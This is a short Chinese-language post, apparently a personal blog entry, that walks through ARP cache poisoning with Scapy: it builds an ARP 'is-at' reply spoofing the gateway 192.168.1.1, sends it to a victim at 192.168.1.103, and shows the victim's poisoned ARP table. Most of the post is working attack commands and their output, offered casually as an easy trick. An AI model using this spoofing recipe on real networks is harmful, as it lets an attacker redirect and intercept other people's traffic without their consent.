这个工具太强大,搞一个ARP缓存中毒竟然这么简单,关于ARP缓存中毒,可以百度。通过ARP缓存中毒,可以将目标计算机的IP地址与MAC地址对应关系替换成另外一台机器的MAC地址,这样,在链路层中,就会将发送到某个IP的数据发送到指定的机器上,例如,发送到192.168.1.1的数据,在ARP缓存中,找到192.168.1.1对应的MAC地址,然后通过链路层,将数据包传送到对应的机器上,如果将MAC替换成别的机器的MAC地址,那么数据也会传到那台机器上。而在Scapy中,这样替换非常简单。这样做太easy了
>>> p=ARP()
>>> p.show()
###[ ARP ]###
设置op=2,就是告知is-at
将hwsrc设置成数据的接收机的MAC地址,将psrc改成要替换的IP地址,pdst设置成要毒化的目标机器IP地址
例如,要毒化192.168.1.103上的ARP缓存,将网关192.168.1.1的对应关系改成192.168.1.104的MAC地址,就可以这么设置
p.psrc=’192.168.1.1’
p.pdst=’192.168.1.103’
>>> p.show()
###[ ARP ]###
然后发送
>>> send(p)
等待一会后,在192.168.1.103这台机器上看ARP缓存
[root@ipython ~]# arp
Address
192.168.1.100
192.168.1.104
192.168.1.1
发现已经被毒化了,特么的,造孽啊
Scapy创造了一个ARP数据包,将这个包设置为告知状态,然后设置好伪装的MAC地址与IP地址,发送给目标机器,这简直也太简单了吧